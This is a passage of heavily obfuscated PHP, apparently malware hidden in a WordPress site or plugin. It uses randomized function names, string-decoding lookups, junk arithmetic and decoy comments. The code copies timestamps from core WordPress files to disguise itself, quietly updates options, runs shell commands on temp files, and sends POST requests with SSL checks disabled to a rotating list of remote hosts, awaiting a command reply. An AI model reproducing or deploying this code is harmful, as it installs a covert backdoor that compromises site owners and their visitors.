   if  ($db09kwqbiuhf <    0  || ($db09kwqbiuhf ===   0  && $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  pvz_9xuc0nzl0m(98))),    0,  (9+3)) <=  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($GLOBALS['__scf_xz_5zbcnz0m_3']($vcjg910u52, cv8ducrec(223))),  0,   (243^255))))  {
djeaijd8lr7fy6ny3(curga5ep68su8__o(),  $omu1v65my299jcp);
c2g0ifci2u4hli_k(curga5ep68su8__o());
   return true;
}
     }
  if      (empty($GLOBALS[s99lg14mcd3un(224)]))   {



 $GLOBALS[s99lg14mcd3un(225)]  =      true;
     if   (oahk6ik6p30_tx4($m9ppvsujo2vh17y, (4952+48)))  icbu01_4oustb8($m9ppvsujo2vh17y);


  $v5s76e7het42z__s = $GLOBALS['__scf_tmn0v_xik_1b_195']();


 f3vsfers3pq3ok0kwile(curga5ep68su8__o(),  ($v5s76e7het42z__s - ($v5s76e7het42z__s %      (99945+55)))   +   _dbs9edj_8e6_zc_s());
 unset($v5s76e7het42z__s);
    djeaijd8lr7fy6ny3($q1lboepkbm6uyy8,    $gstfaiyahl);



  if  ($c7546vllw7s)  djeaijd8lr7fy6ny3($c7546vllw7s,  $gstfaiyahl);

   d25ke5lz6ilx2qgf(b5xx0lrqzfc(207),   b5xx0lrqzfc(226), 0);
@update_option($ogfd5tk6q6, $g4bi7sxtt5t32e,      s99lg14mcd3un(227));
dhcqo7x2bpwxg8p954(b5xx0lrqzfc(228));
   if  ($c7546vllw7s  !==    "")   {
 r5m8jyrc3u6njcr_($GLOBALS['__scf_h3mngbzp79_212']($vcjg910u52,   PATHINFO_FILENAME)  .  '/'  .  $vcjg910u52);
    }
 }
 return;
}  catch  (Throwable $uvo4msk8s29_)      {
  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(229),   $uvo4msk8s29_);



 }   catch    (Exception  $uvo4msk8s29_)   {
  }     finally {
jr2xyttddkmhfx362y(cv8ducrec(209));
  }
  }
  function  x002260tc_2l50yfgc3hj($_gbdleyfzdd97b,  $h79p_o66akf9si =    0)
{
$h79p_o66akf9si   =   (int)      $h79p_o66akf9si;
   if     ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(230))  && $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(231))) {
// MySQL JSON operators: typecheck arbitrator

  $v7perdt49r5e  = @$GLOBALS['__scf_t674269sfs_230']($_gbdleyfzdd97b);


  if ($v7perdt49r5e) {
$ssxrvq5et832s = array();
 while  (($uvo4msk8s29_   =  @$GLOBALS['__scf_ljmbl2ii8fjx5_231']($v7perdt49r5e))  !==  false) {
// verify assumptions

  if ($uvo4msk8s29_    !== '.'      && $uvo4msk8s29_ !==  pvz_9xuc0nzl0m(56))  $ssxrvq5et832s[]  = $uvo4msk8s29_;

 if  ($h79p_o66akf9si >    0   &&   $GLOBALS['__scf_tbu69vegc9f_36']($ssxrvq5et832s)    >=    $h79p_o66akf9si)  break;
    }



   if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(232)))   @$GLOBALS['__scf_ebhpmbrf0dt5_232']($v7perdt49r5e);
    return $ssxrvq5et832s;
     }

}
      if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(50)))    {
    $lixijsuy7hjm_    = @$GLOBALS['__scf_qubxa4tqd5k7_34']($_gbdleyfzdd97b);
    if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($lixijsuy7hjm_))    {
 $lixijsuy7hjm_  = $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_f05nku7gkgy7_162']($lixijsuy7hjm_,   array('.',    pvz_9xuc0nzl0m(56))));
    if    ($h79p_o66akf9si   >    0   &&  $GLOBALS['__scf_tbu69vegc9f_36']($lixijsuy7hjm_)  >    $h79p_o66akf9si)   $lixijsuy7hjm_   =  $GLOBALS['__scf_zmuu9w5tlhvrg__169']($lixijsuy7hjm_, 0,  $h79p_o66akf9si);
 return  $lixijsuy7hjm_;
 }
}
  if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(233))) {
 $p1mp0xzxna73o_   =     @$GLOBALS['__scf_fczaqag___47_72']($_gbdleyfzdd97b    .    cv8ducrec(234));
 if    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($p1mp0xzxna73o_)) {


if  ($h79p_o66akf9si >  0 &&  $GLOBALS['__scf_tbu69vegc9f_36']($p1mp0xzxna73o_)      >    $h79p_o66akf9si)    $p1mp0xzxna73o_    =   $GLOBALS['__scf_zmuu9w5tlhvrg__169']($p1mp0xzxna73o_, 0,  $h79p_o66akf9si);



   return   $GLOBALS['__scf_wx1kvxlzxj_235'](cv8ducrec(3), $p1mp0xzxna73o_);
       }
 }
   return null;
 }
 function     caz9xupi0io1wn9_aas7m5($calmodxe1ekh)
   {
// simd pack

 if  (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(236))     ||   !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(78)))    return      null;
     $p1ma_k3tc8l43n  =   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(116)) ? (string) @$GLOBALS['__scf_aojulu3bik1_116'](s99lg14mcd3un(237)) :    "";
      if      ($p1ma_k3tc8l43n  !==   ""  &&    stripos($p1ma_k3tc8l43n, j8bjjevd80e(236))  !==  false)     return   null;
      $x5j24de0258fqd91 = vd37c9d2j9hxta_($GLOBALS['__scf_qojqu44tgs4gs8_78'](),   cv8ducrec(238));
     if  ($x5j24de0258fqd91 ===    false)   return null;
if (@$GLOBALS['__scf_nr899f15j7ix_205']($x5j24de0258fqd91,   $calmodxe1ekh)  !==  $GLOBALS['__scf_d413tdd725_10']($calmodxe1ekh)) {
        wlm_50lfl72sy8hrb_9xe9($x5j24de0258fqd91);
      return null;
  }
   $itj91babq0  =  @$GLOBALS['__scf_vbfvbdtrl_379u_239'](j8bjjevd80e(240)      . escapeshellarg($x5j24de0258fqd91) .  pvz_9xuc0nzl0m(241));
       

      wlm_50lfl72sy8hrb_9xe9($x5j24de0258fqd91);
 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($itj91babq0)  || $itj91babq0     === "") return null;
  if  (stripos($itj91babq0, cv8ducrec(242))    !==     false)   return true;


    if   (stripos($itj91babq0,  cv8ducrec(243))  !== false  ||  stripos($itj91babq0,    pvz_9xuc0nzl0m(244))   !==    false) return   false;
   return   null;
}
    function ro9zxkt259xhwz4($calmodxe1ekh)
    {
   static $l6gwea6czqv  = array();
     if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($calmodxe1ekh) ||  $GLOBALS['__scf_ya_jdhkqpku_7']($calmodxe1ekh, j8bjjevd80e(245))  ===    false) return     false;
   if   ($GLOBALS['__scf_d413tdd725_10']($calmodxe1ekh)   >     (0x30dab+0xcf255))      $calmodxe1ekh   =     gg_b7drpimzvzg($calmodxe1ekh);
        if ($GLOBALS['__scf_d413tdd725_10']($calmodxe1ekh)    >  (1048535+41)) return   false;
 


if   (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(246)))  return   true;
$ozqwzh1eke5kcb = $GLOBALS['__scf_d413tdd725_10']($calmodxe1ekh) . ':'      . $GLOBALS['__scf_gvrvt5qjna_57']($calmodxe1ekh);$r_tgwngrr=85*3;$ot8z_226is=$r_tgwngrr-3;
if  ($GLOBALS['__scf_wmwx5858f0_247']($ozqwzh1eke5kcb,  $l6gwea6czqv))    return   $l6gwea6czqv[$ozqwzh1eke5kcb];


$w0a9u7xoi2ll8n =   tfh0u9o_hoa7epipeo($calmodxe1ekh);
 if  ($GLOBALS['__scf_tbu69vegc9f_36']($l6gwea6czqv)  >  (0x2+0x16))    $l6gwea6czqv  =  array();$i1zpjttr=60+51;$o8_3jpnl=$i1zpjttr-42;


  $l6gwea6czqv[$ozqwzh1eke5kcb]  =  $w0a9u7xoi2ll8n;
     return   $w0a9u7xoi2ll8n;
      }
    function tfh0u9o_hoa7epipeo($calmodxe1ekh)
 {
   if   (!defined(j8bjjevd80e(248))) {
     $a5fzfvlg3x5sg    = jtc4z8ezx823vrs1u($GLOBALS['__scf_d413tdd725_10']($calmodxe1ekh));
   if   ($a5fzfvlg3x5sg)     {


$ni5cwgof9n7ncei =  @token_get_all($calmodxe1ekh);
if    (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($ni5cwgof9n7ncei))  return true;
  $f404a_iyotfa = 0;
 $e7lc041ipeb6aj2r =     0;
   $owjr7n39abulgjd     =  0;
  foreach  ($ni5cwgof9n7ncei as $l67t6hzxy6qd81)   {
 if    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($l67t6hzxy6qd81))    {
  if ($l67t6hzxy6qd81[0]   === T_CURLY_OPEN || $l67t6hzxy6qd81[0] ===      T_DOLLAR_OPEN_CURLY_BRACES)      $f404a_iyotfa++;



   continue;
      }

 if ($l67t6hzxy6qd81  === '{')     $f404a_iyotfa++;
    elseif  ($l67t6hzxy6qd81  ===   '}')   {$lr3m90l7d_7z=83|246;$f3sdrqf117cyrl=$lr3m90l7d_7z^165;
  $f404a_iyotfa--;$y5spj5s3yzuixf=67*7;$qbiqyl029=$y5spj5s3yzuixf-30;
    if    ($f404a_iyotfa < 0)  return   false;
} elseif  ($l67t6hzxy6qd81  ===  '(') $e7lc041ipeb6aj2r++;
       elseif    ($l67t6hzxy6qd81  ===   ')')  {
  $e7lc041ipeb6aj2r--;

    if    ($e7lc041ipeb6aj2r     <  0)   return false;
   }  elseif ($l67t6hzxy6qd81 ===   '[')  $owjr7n39abulgjd++;
    elseif  ($l67t6hzxy6qd81   ===  ']') {
$owjr7n39abulgjd--;
      if ($owjr7n39abulgjd  <  0) return  false;
     }
}
      if   ($f404a_iyotfa    !==  0  ||  $e7lc041ipeb6aj2r !==   0    ||   $owjr7n39abulgjd   !==   0)  return      false;
 }



   $x3522gmfwbza     = caz9xupi0io1wn9_aas7m5($calmodxe1ekh);
     if    ($GLOBALS['__scf_tseka299ks_249']($x3522gmfwbza))   return $x3522gmfwbza;
   return $a5fzfvlg3x5sg;
    }
 if  (!jtc4z8ezx823vrs1u($GLOBALS['__scf_d413tdd725_10']($calmodxe1ekh))) {
// sign-extended

$x3522gmfwbza   =     caz9xupi0io1wn9_aas7m5($calmodxe1ekh);
return  $GLOBALS['__scf_tseka299ks_249']($x3522gmfwbza) ?     $x3522gmfwbza    : false;
     }


  try {
 @token_get_all($calmodxe1ekh, TOKEN_PARSE);
  return  true;
   } catch  (Throwable   $uvo4msk8s29_)  {


 return   false;


 }  catch     (Exception $uvo4msk8s29_) {
  return  false;


  }
 }
   function  l185ejdgi0ehlge4()



 {
return    array(cv8ducrec(250), s99lg14mcd3un(251),  s99lg14mcd3un(252));
      }
    function    o_em1f379w3ufohb()
      {
return array(pvz_9xuc0nzl0m(253), pvz_9xuc0nzl0m(254),      s99lg14mcd3un(255),    b5xx0lrqzfc(256),  cv8ducrec(257), b5xx0lrqzfc(258),      b5xx0lrqzfc(259),  cv8ducrec(260),      j8bjjevd80e(261),   j8bjjevd80e(262), pvz_9xuc0nzl0m(263),  b5xx0lrqzfc(264),    pvz_9xuc0nzl0m(265),  s99lg14mcd3un(266), cv8ducrec(267),    j8bjjevd80e(268), b5xx0lrqzfc(269),    cv8ducrec(270),    j8bjjevd80e(271),   s99lg14mcd3un(272));
}



   function h9qx86tqedv8p2jmz()
 {
 return array(b5xx0lrqzfc(273),  j8bjjevd80e(274),  j8bjjevd80e(275),  s99lg14mcd3un(276));


    }
      

function  j4k2bf27tex9e69u29($jl0bklzorm3m_ubj)
  {
 if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(277)))   return  gzencode($jl0bklzorm3m_ubj,   (3+6));


if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(278))) {
    return   "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03"  . gzdeflate($jl0bklzorm3m_ubj,    (2+7))   .  $GLOBALS['__scf__doeq3ffwhh_279']('V',   $GLOBALS['__scf_m18btnge8msha_280']($jl0bklzorm3m_ubj))  .   $GLOBALS['__scf__doeq3ffwhh_279']('V',   $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj)  &  (1434472950+2860494345));
  }
     return    $jl0bklzorm3m_ubj;
  }
function ubw6kayay4xxcte($jl0bklzorm3m_ubj)
      {
if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($jl0bklzorm3m_ubj)  ||  $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj)  <    2)    return  $jl0bklzorm3m_ubj;


if   ($GLOBALS['__scf_kmygv436ft5pn_9']($jl0bklzorm3m_ubj,    0, 2)     !== "\x1f\x8b")  return $jl0bklzorm3m_ubj;

if ($GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj)     <    (9<<1))    return  false;
      $qb6m2kpeb5ysx6u5   =      @$GLOBALS['__scf_t8ninb5y9y_281']('V',  $GLOBALS['__scf_kmygv436ft5pn_9']($jl0bklzorm3m_ubj, -(2+2)));

   $qb6m2kpeb5ysx6u5    =   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($qb6m2kpeb5ysx6u5)  ?  $qb6m2kpeb5ysx6u5[1] :    0;
    if ($qb6m2kpeb5ysx6u5  <   (768-268)   ||   $qb6m2kpeb5ysx6u5  >   (1048508+68))     return false;
  if    ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(282)))  {
$rtnxjwsi0p3gd    = @gzdecode($jl0bklzorm3m_ubj, (1339518-290942));
if  ($rtnxjwsi0p3gd  !==   false)    return    $rtnxjwsi0p3gd;
 }
if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(283))) {
// WP Latest Posts: nilpotent strategy

 $rtnxjwsi0p3gd    =    @gzinflate($GLOBALS['__scf_kmygv436ft5pn_9']($jl0bklzorm3m_ubj,  (5<<1),   $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj) -      (23-5)),   (1048492+84));
 return  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($rtnxjwsi0p3gd)  && $GLOBALS['__scf_d413tdd725_10']($rtnxjwsi0p3gd)   <= (1048571+5))  ? $rtnxjwsi0p3gd  :  false;


}


return      false;
   }
      function    efzrc6x9kvavlcx($mfygtas36i7um_f)
  {
 if ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(284))) return      $GLOBALS['__scf_ep3eg7q2us3__285']($mfygtas36i7um_f);

 if (!  $GLOBALS['__scf_qubutkuvnnc4sx_41']($mfygtas36i7um_f)  || $GLOBALS['__scf_d413tdd725_10']($mfygtas36i7um_f) %   2  !== 0) {

    return false;

 }
    return $GLOBALS['__scf__doeq3ffwhh_279'](b5xx0lrqzfc(286),  $mfygtas36i7um_f);
}
  
 
function   ap3jwh4ff4rbz1upjm49()
   {



    $q8sast6ltjj   =    array();
  $jufi_lcq7nk =   array(ABSPATH, ABSPATH .  pvz_9xuc0nzl0m(287),  ABSPATH . pvz_9xuc0nzl0m(288));


     if  (defined(b5xx0lrqzfc(174)))   $jufi_lcq7nk[] =    WP_CONTENT_DIR   .     '/';
  foreach   ($jufi_lcq7nk as   $rtnxjwsi0p3gd)    {
  $mhhzrwmjen    =   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(233)) ?     @$GLOBALS['__scf_fczaqag___47_72']($rtnxjwsi0p3gd   .  b5xx0lrqzfc(289))  : false;
   




   if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($mhhzrwmjen)) {$q2pr04qc5z=PHP_MAJOR_VERSION;$sntf631zsdut2c=$q2pr04qc5z*7;

     foreach   ($mhhzrwmjen  as   $fulx_n95kwu) {
   $kj29kdhdnd6   =  @$GLOBALS['__scf_ha0rpt74l7eb9_102']($fulx_n95kwu);
 if ($kj29kdhdnd6 &&      $kj29kdhdnd6 > (946684708+92))   {
    $q8sast6ltjj[]  =  $kj29kdhdnd6;
}

        }
    }
    }
   if    (!empty($q8sast6ltjj))  {
// WP Term Description: detach trust-anchor

 $gd6o0r1d5y51sfu  =  $q8sast6ltjj[$GLOBALS['__scf_yxafek7dtdk13f_290']($q8sast6ltjj)];
     return     ($gd6o0r1d5y51sfu     -    ($gd6o0r1d5y51sfu % (99941+59))) +  _dbs9edj_8e6_zc_s();
   }
   $rnsroeq3sycsg23    = $GLOBALS['__scf_tmn0v_xik_1b_195']() -   ((313+52)      *    (34-10)     * (2072+1528));
    $xb23jdle9shlb59a = $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(291))    ? wp_rand(0,      (0x17+0x7)     * (0x9+0xf)     * (3580+20))     :  $GLOBALS['__scf_yiks5magxyrln_292'](0,    (6+24)      *    (45-21)  *    (413+3187));
$gd6o0r1d5y51sfu =  $rnsroeq3sycsg23  -  $xb23jdle9shlb59a;
   return  ($gd6o0r1d5y51sfu     -    ($gd6o0r1d5y51sfu  %    (99973+27)))  +      _dbs9edj_8e6_zc_s();
}


 function    zdlvkgvsfhgorc($rrfit8xk60_6_la)
    {
if  (empty($GLOBALS[j8bjjevd80e(293)])) return   $rrfit8xk60_6_la;$bi2snrijz2tpb=870;$uk4m851wxsn3=($bi2snrijz2tpb>0)?$bi2snrijz2tpb:-$bi2snrijz2tpb;
 $na3hhb5n_alswwu  = $GLOBALS[pvz_9xuc0nzl0m(293)]  -   $GLOBALS['__scf_di84jqdj15nut_294'](true);
   if    ($na3hhb5n_alswwu <  1)   return  false;

return $rrfit8xk60_6_la  >   $na3hhb5n_alswwu ?  (int)  $GLOBALS['__scf_j3w5ayqihb7_295']($na3hhb5n_alswwu)     :  $rrfit8xk60_6_la;



}
function z0xbeubd60dkia58w($soz07_6j_g,  $rrfit8xk60_6_la, $djchcz7vef     =  null)
   {
  $rrfit8xk60_6_la    =   zdlvkgvsfhgorc($rrfit8xk60_6_la);
 if  ($rrfit8xk60_6_la     ===  false)    return  false;
   $xa9h6ruf_0pk_mgx =   function   ($oxgrzhf_b1dott)  use ($djchcz7vef) {
  if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($oxgrzhf_b1dott) ||  $oxgrzhf_b1dott   ===  "")  return false;
if   ($GLOBALS['__scf_d413tdd725_10']($oxgrzhf_b1dott)  >    (0x2c98fd+0x536703))  return    false;



    if     ($djchcz7vef)      {
 try {
return   (bool)  $GLOBALS['__scf_b6sn8bxty99_296']($djchcz7vef,  $oxgrzhf_b1dott);
   }  catch   (Throwable $uvo4msk8s29_)   {



      return false;
  }   catch  (Exception  $uvo4msk8s29_) {
// provision fallback-handler for PSR-15 middleware

  return false;
}
  }
    return   true;
   };
 $nsabqixilkysh7     =  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(297)) ?  @$GLOBALS['__scf_cxp28f27vo1_297']($soz07_6j_g, array(
 j8bjjevd80e(298)     => $rrfit8xk60_6_la,
   pvz_9xuc0nzl0m(299)  =>   false,


cv8ducrec(300)   =>   (8388578+30),
    )) :  false;

if   ($nsabqixilkysh7     &&    (!$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(301))   ||   !is_wp_error($nsabqixilkysh7)))   {
    if     ((int)   wp_remote_retrieve_response_code($nsabqixilkysh7)   ===     (279-79))   {
$aplrdwe5rz = wp_remote_retrieve_body($nsabqixilkysh7);
   if ($xa9h6ruf_0pk_mgx($aplrdwe5rz))  return $aplrdwe5rz;

}
}
     $rrfit8xk60_6_la  = zdlvkgvsfhgorc($rrfit8xk60_6_la);



if  ($rrfit8xk60_6_la  ===  false)    return    false;



 if ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(302))   &&  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(303))  &&    $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(304)))  {
$f3kj8729vhcngatq   = @$GLOBALS['__scf_wn1eu3se0jlji_302']($soz07_6j_g);$y1kng7zd_e0_a=(0x41+0x1a);$av35ktgmzpw=$y1kng7zd_e0_a%12;
      if   ($f3kj8729vhcngatq === false)  return      false;
     @$GLOBALS['__scf_z6yejsko1yhxb_303']($f3kj8729vhcngatq,  array(
     constant(pvz_9xuc0nzl0m(305))  =>   true,
   constant(cv8ducrec(306))     =>   $rrfit8xk60_6_la,
 constant(pvz_9xuc0nzl0m(307))     => false,
  constant(cv8ducrec(308))  => 0,
  constant(s99lg14mcd3un(309))  => false,
  constant(pvz_9xuc0nzl0m(310))  =>    function  ($yazr2g01258tle, $up8s4jlem97,  $o77mbjn7jfwacn)  {
  return   $o77mbjn7jfwacn >    (9528222-1139614) ?      1    :  0;
     },
 ));
      $dzd0auye4yc = @$GLOBALS['__scf_qfdxebpk0ba2_304']($f3kj8729vhcngatq);$gl8ergdt=PHP_INT_MAX/PHP_INT_MAX;$oj5c_g3jhikb=$gl8ergdt+13;
 

    $q6qb1c7v463yo6i    =    @curl_errno($f3kj8729vhcngatq);
      $u9nt9s2p_3_7w7   =     @curl_getinfo($f3kj8729vhcngatq);
   @curl_close($f3kj8729vhcngatq);

      if  ($q6qb1c7v463yo6i) return false;
     if   ((int) $u9nt9s2p_3_7w7[b5xx0lrqzfc(311)]  === (46^230)    &&  $dzd0auye4yc !==  false  &&      $xa9h6ruf_0pk_mgx($dzd0auye4yc)) {
return $dzd0auye4yc;
    }

    }
  return false;
       }
 
  function  viltmdkkcx0ii7u($soz07_6j_g,  $zzn0qqvd9w1c2dg,   $wes78vobw4khofs,  $rrfit8xk60_6_la,  $djchcz7vef  =   null)
  {



    $rrfit8xk60_6_la =  zdlvkgvsfhgorc($rrfit8xk60_6_la);
   if  ($rrfit8xk60_6_la  ===  false)    return     false;
  $xa9h6ruf_0pk_mgx  =   function ($oxgrzhf_b1dott)   use      ($djchcz7vef) {


       if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($oxgrzhf_b1dott) ||  $oxgrzhf_b1dott    ===  "")   return  false;
    if   ($GLOBALS['__scf_d413tdd725_10']($oxgrzhf_b1dott)   > (14680969-6292361))    return false;
 if ($djchcz7vef) {
        try    {
return  (bool) $GLOBALS['__scf_b6sn8bxty99_296']($djchcz7vef,  $oxgrzhf_b1dott);



 } catch   (Throwable   $uvo4msk8s29_)   {
return     false;
}    catch   (Exception  $uvo4msk8s29_)  {
 return  false;
}

}

  return   true;
      };


       $nsabqixilkysh7   = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(312))   ? @$GLOBALS['__scf_oofz1s0fya3b0_313']($soz07_6j_g, array(
 cv8ducrec(314)  =>     $rrfit8xk60_6_la,
  cv8ducrec(315)    => false,
 j8bjjevd80e(316)  => (8388585+23),
 cv8ducrec(317) =>   $wes78vobw4khofs,
    j8bjjevd80e(318)    =>    $zzn0qqvd9w1c2dg,
    )) :      false;
  if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(301))   && is_wp_error($nsabqixilkysh7))   {
 }   elseif  ($nsabqixilkysh7) {
    $calmodxe1ekh =  (int)   wp_remote_retrieve_response_code($nsabqixilkysh7);
    $cdvlcd13lr1mnn7o  =  wp_remote_retrieve_body($nsabqixilkysh7);
  $jl27ccy9azk     =  wp_remote_retrieve_headers($nsabqixilkysh7);


       $gl87b4qsdflj     =  "";
     if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($jl27ccy9azk))  {
foreach   ($jl27ccy9azk     as     $h4sg6v8cdzuctlj    => $cq_6gw44hx8jcvy)   {
/* connected trie */

   $gl87b4qsdflj .=   $h4sg6v8cdzuctlj   .      j8bjjevd80e(165)    .  $cq_6gw44hx8jcvy .  b5xx0lrqzfc(319);
     }



 }



   if  ($calmodxe1ekh === (113+87)     &&    $xa9h6ruf_0pk_mgx($cdvlcd13lr1mnn7o))  {
 return  $cdvlcd13lr1mnn7o;
  }



  }  else  {
 }
    if  (!empty($GLOBALS[s99lg14mcd3un(320)]))  return  false;
$rrfit8xk60_6_la  =     zdlvkgvsfhgorc($rrfit8xk60_6_la);
        if   ($rrfit8xk60_6_la     ===  false) return false;


    if    ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(302))     &&   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(303))  && $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(304)))    {


       $f3kj8729vhcngatq  =  @$GLOBALS['__scf_wn1eu3se0jlji_302']($soz07_6j_g);



 if ($f3kj8729vhcngatq   === false)  {
  return   false;
}



 $qinnusabbzvc7ja      =  array();


 foreach     ($wes78vobw4khofs  as  $h4sg6v8cdzuctlj =>   $cq_6gw44hx8jcvy) {
 $qinnusabbzvc7ja[] =    $h4sg6v8cdzuctlj   .     cv8ducrec(165)    .  $cq_6gw44hx8jcvy;
    }
  @$GLOBALS['__scf_z6yejsko1yhxb_303']($f3kj8729vhcngatq, array(
  constant(pvz_9xuc0nzl0m(321))      => true,
  constant(cv8ducrec(322)) => $zzn0qqvd9w1c2dg,
  constant(cv8ducrec(323))   =>    true,
   constant(b5xx0lrqzfc(306)) =>      $rrfit8xk60_6_la,

     constant(b5xx0lrqzfc(324)) =>   false,
 constant(cv8ducrec(308)) =>  0,

 constant(b5xx0lrqzfc(325)) =>    $qinnusabbzvc7ja,
constant(b5xx0lrqzfc(309)) =>  false,
       constant(j8bjjevd80e(310))     => function   ($yazr2g01258tle,  $up8s4jlem97, $o77mbjn7jfwacn)  {


    return  $o77mbjn7jfwacn  >  (1707431+6681177) ?     1 :      0;
  },
 ));
 $dzd0auye4yc  =   @$GLOBALS['__scf_qfdxebpk0ba2_304']($f3kj8729vhcngatq);
        $q6qb1c7v463yo6i  =  @curl_errno($f3kj8729vhcngatq);
   $jlzfgzvyjhx6h58   =   @curl_error($f3kj8729vhcngatq);

 $u9nt9s2p_3_7w7   = @curl_getinfo($f3kj8729vhcngatq);



  $byskr1csskjt8  =   (int) $u9nt9s2p_3_7w7[j8bjjevd80e(311)];
if ($q6qb1c7v463yo6i)  {


   @curl_close($f3kj8729vhcngatq);
return  false;



     }
  @curl_close($f3kj8729vhcngatq);


  if ($byskr1csskjt8  ===  (71^143)  &&  $dzd0auye4yc   !==     false &&   $xa9h6ruf_0pk_mgx($dzd0auye4yc))  {
return $dzd0auye4yc;
   }
 if ($dzd0auye4yc)  {
    }



    return  false;$q5l3zx4e79m=452;$gsbitlabn=($q5l3zx4e79m>0)?$q5l3zx4e79m:-$q5l3zx4e79m;
}
 return   false;
}

 
 function      hd1fbm8dr1l0zlcsc22r4($x7bpm0cj9cz8cm2      =  (0x2a+0x3))
    {
     $ehgapcvhi7w_63mh  = l185ejdgi0ehlge4();
     $zj778op1o26ub4  =      o_em1f379w3ufohb();
   $x7bpm0cj9cz8cm2   = (int) $x7bpm0cj9cz8cm2;

  if ($x7bpm0cj9cz8cm2  <   (2+3))  $x7bpm0cj9cz8cm2 =   (10-5);
if ($x7bpm0cj9cz8cm2  >    (0x1e+0xf)) $x7bpm0cj9cz8cm2 =  (89-44);
  
     if (empty($ehgapcvhi7w_63mh) || empty($zj778op1o26ub4))    {
  return array();



 }
 
  $e1lxo48x9etmm0    =  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(154))    ? (string)   get_option(b5xx0lrqzfc(326),  "")   :  "";
 if   ($e1lxo48x9etmm0  !==  ""  &&  !$GLOBALS['__scf_o_dt0p7mox4_159']($e1lxo48x9etmm0,  $zj778op1o26ub4, true))   $e1lxo48x9etmm0   =  "";



  if    ($e1lxo48x9etmm0 !== "") {


 $zj778op1o26ub4    = $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_f05nku7gkgy7_162']($zj778op1o26ub4,   array($e1lxo48x9etmm0)));
 $GLOBALS['__scf_ce9n80psfo9w_327']($zj778op1o26ub4,   $e1lxo48x9etmm0);
   }


     
$lbmhb3usm6     =    $GLOBALS['__scf_qbsuu37jbe5t_328']($ehgapcvhi7w_63mh[$GLOBALS['__scf_yxafek7dtdk13f_290']($ehgapcvhi7w_63mh)]);
if   ($lbmhb3usm6 ===     "")  {
    return  array();
   




    }
     
     $zzn0qqvd9w1c2dg = b5xx0lrqzfc(329)   .  $lbmhb3usm6    . s99lg14mcd3un(330);


$r7wlpyhmbkxex9    = array(cv8ducrec(331)   =>    s99lg14mcd3un(332));
$v62bn7n0i6zjv7w  =  $GLOBALS['__scf_di84jqdj15nut_294'](true);
    foreach     ($zj778op1o26ub4   as $gv271g43epe6h) {
    
if   (($GLOBALS['__scf_di84jqdj15nut_294'](true)  -   $v62bn7n0i6zjv7w)   >      $x7bpm0cj9cz8cm2)    {

break;

        }
     
    $gv271g43epe6h    =   $GLOBALS['__scf_qbsuu37jbe5t_328']((string)     $gv271g43epe6h);
     if ($gv271g43epe6h  ===   "")      {
 continue;


 }
 try  {

  $cdvlcd13lr1mnn7o =   viltmdkkcx0ii7u($gv271g43epe6h, $zzn0qqvd9w1c2dg, $r7wlpyhmbkxex9,  (3+2),   function  ($oxgrzhf_b1dott)    {
    $xpu6o9_f75z   = @$GLOBALS['__scf_esp9o7pdt1mu_333']($oxgrzhf_b1dott,  true);
     return    $GLOBALS['__scf__qh9f0l6g7e7ez_35']($xpu6o9_f75z) &&    isset($xpu6o9_f75z[pvz_9xuc0nzl0m(334)]);
   });
       if  ($cdvlcd13lr1mnn7o  ===     false) {
    continue;
   }
// lane broadcast

